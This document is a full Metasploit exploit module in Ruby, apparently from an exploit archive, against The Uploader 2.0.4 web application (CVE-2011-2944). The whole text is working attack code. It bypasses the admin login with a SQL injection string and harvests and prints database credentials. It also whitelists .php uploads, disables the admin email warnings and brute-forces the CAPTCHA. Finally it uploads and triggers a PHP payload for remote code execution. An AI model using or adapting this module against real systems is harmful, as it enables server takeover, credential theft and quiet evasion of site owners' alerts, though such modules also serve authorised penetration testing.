The Uploader 2.0.4 (Eng/Ita) Remote File Upload

`require 'msf/core'  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',  
'Description'=> %q{  
This module exploits various flaws in The Uploader to upload a PHP payload  
to target system. When run with defaults it will search possible URIs for  
the application and exploit it automatically. Works against both English  
and Italian language versions. Notably it disables pre-emptive email warnings  
before uploading the payload, though it leaves log cleanup as a  
post-exploitation task.  
},  
'Author' => [ 'Danny Moules' ],  
'References' =>  
[  
[ 'URL', 'http://sourceforge.net/projects/theuploader' ],  
[ 'CVE', '2011-2944' ],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
'Keys' => ['php'],  
},  
'License' => MSF_LICENSE,  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Feb 23 2012',  
))  
register_options([  
Opt::RHOST,  
Opt::RPORT(80),  
OptString.new(  
'URI',  
[ true, 'Path of application root (default will try common targets)', '/' ]  
),  
OptInt.new(  
'CRACKATTEMPTS',  
[ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]  
),  
OptBool.new(  
'VERBOSE',  
[ true, 'Verbose output', true ]  
),  
], self.class)  
end  
def get_strings(lang)  
if lang == "Eng"  
strings = {  
"sqlisuccess" => /Log-In has been done successfully/,  
"whitelistsuccess" => /The extension has been added successfully/,  
"disablemailsuccess" => /Notification Mail section has been saved successfully/,  
"changedirsuccess" => /Edit Upload Folder section has been saved successfully/,  
"captcharequired" => /No result entered/,  
"uploadsuccess" => /Download Link/,  
"disablecaptchasuccess" =>  
/Upload Permissions section has been saved successfully/,  
}  
elsif lang == "Ita"  
strings = {  
"sqlisuccess" => /stato effettuato con successo/,  
"whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,  
"disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,  
"changedirsuccess" =>  
/Modifica Cartella Upload &egrave; stata salvata con successo/,  
"captcharequired" => /Non &agrave; stato inserito nessun risultato/,  
"uploadsuccess" => /Link al download/,  
"disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,  
}  
end  
return strings  
end  
def exploit  
#Analyse target  
analysis = analyse(datastore['URI'])  
print_status(analysis['status'])  
strings = get_strings(analysis['lang'])  
unless analysis['uri'].nil?  
datastore['URI'] = analysis['uri']  
end  
#Attempt SQLi - Gets the 'first' valid admin account  
data = "username=' OR activated=1-- a"  
data << "&password=a"  
data << "&login=Log-IN"  
res = send_and_verify(  
datastore['URI'] + "login.php",  
"POST",  
"application/x-www-form-urlencoded",  
"",  
data,  
"SQL injection",  
strings['sqlisuccess']  
)  
#Get cookies  
unless res.headers.include?('Set-Cookie')  
raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")  
end  
choc_chip = res.headers['Set-Cookie']  
if datastore["VERBOSE"]  
print_good("I stole the cookie from the cookie jar: #{choc_chip}")  
end  
#Optionally, analyse configuration  
if datastore["VERBOSE"]  
begin  
config = analyse_config(strings, choc_chip)  
print_status("INFO: Database host is #{config['db_host']}")  
print_status("INFO: Database username is #{config['db_user']}")  
print_status("INFO: Database password is #{config['db_pass']}")  
print_status("INFO: Database name is #{config['db_name']}")  
print_status("INFO: Admin log is #{config['admin_log']}")  
rescue ::Exception => e  
err = "Non-fatal error. Failed to analyse configuration: "  
err << "#{e.class.to_s} #{e.to_s}"  
print_error(err)  
end  
end  
#Whitelist .php extensions for upload  
res = send_and_verify(  
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",  
"POST",  
"application/x-www-form-urlencoded",  
choc_chip,  
"allowed_ext=php",  
"Whitelisting .php extensions",  
strings['whitelistsuccess']  
)  
# Disable email reporting  
res = send_and_verify(  
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",  
"POST",  
"application/x-www-form-urlencoded",  
choc_chip,  
"upload_email=0",  
"Disabling email reporting",  
strings['disablemailsuccess']  
)  
# Change upload location to suit us  
data = "upload_directory="  
data << "&upload_full="  
data << datastore['RHOST']  
data << datastore['URI']  
res = send_and_verify(  
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",  
"POST",  
"application/x-www-form-urlencoded",  
choc_chip,  
data,  
"Changing upload directory to application root",  
strings['changedirsuccess']  
)  
#Disable CAPTCHA on upload (non-fatal)  
begin  
res = send_and_verify(  
datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",  
"POST",  
"application/x-www-form-urlencoded",  
choc_chip,  
"captcha_upload=0",  
"Disabling CAPTCHA on upload",  
strings['disablecaptchasuccess']  
)  
rescue ::Exception  
print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")  
end  
#Upload PHP payload  
upload_uri = "ajax/upload.php"  
filename = "#{rand_text_alphanumeric(8)}.php"  
boundary = rand_text_alphanumeric(8)  
data = %Q{  
--#{boundary}  
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}"  
Content-Type: text/plain  
<?php #{payload.encoded} ?>  
--#{boundary}  
}  
res = send_request_raw({  
'uri' => datastore['URI'] + upload_uri,  
'method' => 'POST',  
'data' => data + '--',  
'headers' =>  
{  
'Cookie' => choc_chip,  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Content-Length' => data.length + 2,  
},  
}, 20)  
#Verify response  
if res.code != 200  
raise RuntimeError.new("Uploading payload failed (HTTP code #{res.code.to_s})")  
end  
# If failure due to CAPTCHA, crack that...  
if res.body =~ strings['captcharequired']  
crack_captcha(data, choc_chip, boundary, upload_uri, strings)  
else  
if res.body =~ strings['uploadsuccess']  
if datastore["VERBOSE"]  
print_good("Uploading payload succeeded, triggering...")  
end  
else  
err = "Response doesn't look right."  
err << " Uploading payload probably failed (will continue anyway)"  
print_error(err)  
end  
end  
#Attempt to trigger payload  
res = send_request_cgi({  
'uri' => datastore['URI'] + filename,  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => choc_chip,  
},  
}, 5)  
#Verify response  
if res and res.code != 200  
err = "Triggering payload (/#{filename}) failed "  
err << "(HTTP code #{res.code.to_s})"  
raise RuntimeError.new(err)  
else  
print_good("Triggering payload (/#{filename}) successful")  
end  
end  
def crack_captcha(data, choc_chip, boundary, upload_uri, strings)  
captcha_failed = true  
print_status("CAPTCHA is enabled. Transforming into brute-force CAPTCHA cracker *ping*")  
crack_data = %Q{  
#{data}  
Content-Disposition: form-data; name="result"  
0  
--#{boundary}  
}  
patience = datastore['CRACKATTEMPTS']  
for i in (1..patience)  
#First visit index page to trigger CAPTCHA reset  
res = send_request_cgi({  
'uri' => datastore['URI'] + "index.php",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => choc_chip  
},  
}, 20)  
#Now try CAPTCHA with result 0. It'll happen eventually (1/30ish chance).  
#Maths-based CAPTCHAs are educational kids!  
res = send_request_raw({  
'uri' => datastore['URI'] + upload_uri,  
'method' => 'POST',  
'data' => crack_data + '--',  
'headers' =>  
{  
'Cookie' => choc_chip,  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Content-Length' => crack_data.length + 2,  
},  
}, 20)  
if res.body =~ strings['uploadsuccess']  
captcha_failed = false  
break  
end  
end  
if captcha_failed  
err = "Could not break CAPTCHA in #{patience.to_s} iterations."  
err << " You might have luck retrying."  
raise RuntimeError.new(err)  
else  
print_good("CAPTCHA broken. Transforming back into a mild-mannered exploit *ping*")  
end  
end  
def send_and_verify(uri, method, ctype, cookie, data, intent, check)  
res = send_request_raw({  
'uri' => uri,  
'method' => method,  
'data' => data,  
'headers' =>  
{  
'Cookie' => cookie,  
'Content-Type' => ctype,  
'Content-Length' => data.length,  
},  
}, 20)  
#Verify response  
if res.code != 200  
raise RuntimeError.new("#{intent} failed (HTTP code #{res.code.to_s})")  
end  
unless res.body =~ check  
raise RuntimeError.new("Response doesn't look right. #{intent} probably failed")  
end  
if datastore["VERBOSE"]  
print_good("#{intent} succeeded")  
end  
return res  
end  
def analyse(uri_set)  
code = nil  
found_uri = nil  
status = "Unknown state"  
lang = "Eng"  
unless uri_set =~ /\/$/ then  
uri_set = "#{uri_set}/"  
print_status("URI automatically changed to #{uri_set}")  
end  
unless uri_set =~ /^\// then  
uri_set = "/#{uri_set}"  
print_status("URI automatically changed to #{uri_set}")  
end  
if uri_set == "/" then  
uris = [ "/", "/upload/", "/uploader/", "/theuploader/",  
"/the_uploader/", "/The%20Uploader/",  
"/The%20Uploader%202.0.4%20-%20Eng/", "/The%20Uploader%202.0.4%20-%20Ita/"  
]  
else  
uris = [ uri_set ]  
end  
uris.each do |uri|  
res = send_request_cgi({  
'uri' => uri + "index.php",  
'method' => 'GET',  
}, 20)  
if res and res.code == 200  
if res.body =~ /The Uploader 2\.0/  
status = "2.0.* version found at #{uri}"  
code = Exploit::CheckCode::Vulnerable  
found_uri = uri  
elsif res.body =~ /The Uploader/  
status = "Detected unknown version at #{uri}"  
code = Exploit::CheckCode::Detected  
found_uri = uri  
end  
unless found_uri.nil?  
#Set appropriate language  
if res.body =~ /Sezione Upload/  
lang = "Ita"  
end  
http_fingerprint({ :response => res })  
break  
end  
end  
end  
if found_uri.nil?  
if uri_set == "/"  
status = "Could not find the web site automatically. Enter URI manually?"  
else  
status = "Could not find the web site."  
status << " Use the default URI to search for the web site automatically"  
end  
code = Exploit::CheckCode::Safe  
end  
return { "code" => code, "uri" => found_uri, "lang" => lang, "status" => status }  
end  
def analyse_config(strings, cookie)  
#Acquire the database details  
res = send_request_cgi({  
'uri' => datastore['URI'] + "admin.php?section=upload&category=server",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => cookie  
},  
}, 20)  
unless res and res.code == 200  
raise RuntimeError.new("Acquiring database details failed")  
end  
r = /<input[^>]*name="host"[^>]*value="([^"]*)".*\/>/  
db_host = r.match(res.body)[1]  
r = /<input[^>]*name="user"[^>]*value="([^"]*)".*\/>/  
db_user = r.match(res.body)[1]  
r = /<input[^>]*name="pass"[^>]*value="([^"]*)".*\/>/  
db_pass = r.match(res.body)[1]  
r = /<input[^>]*name="dbnm"[^>]*value="([^"]*)".*\/>/  
db_name = r.match(res.body)[1]  
#Acquire the admin log details  
res = send_request_cgi({  
'uri' => datastore['URI'] + "admin.php?section=admin&category=admin_log",  
'method' => 'GET',  
'headers' =>  
{  
'Cookie' => cookie  
},  
}, 20)  
unless res and res.code == 200  
raise RuntimeError.new("Acquiring admin log details failed")  
end  
r = /<input[^>]*name="admin_log"[^>]*checked.*\/>/  
if r.match(res.body)  
admin_log = "active"  
else  
admin_log = "inactive"  
end  
return {  
"db_host" => db_host, "db_user" => db_user, "db_pass" => db_pass,  
"db_name" => db_name, "admin_log" => admin_log,  
}  
end  
def check  
analysis = analyse("/")  
print_status(analysis['status'])  
return analysis['code']  
end  
end  
  
  
`